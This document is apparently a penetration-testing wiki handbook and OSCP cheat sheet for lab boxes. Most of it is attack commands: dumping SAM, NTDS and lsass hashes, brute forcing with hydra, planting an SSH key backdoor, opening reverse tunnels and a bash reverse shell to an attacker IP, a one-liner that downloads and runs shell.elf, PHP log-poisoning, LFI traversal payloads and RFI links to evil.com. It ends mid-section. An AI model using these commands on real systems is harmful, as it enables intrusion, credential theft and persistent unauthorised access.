[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]

Handbook I - Basic

2026-06-04T20:02:14Z

Administrator: /* 5985, 5986 - WinRM */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
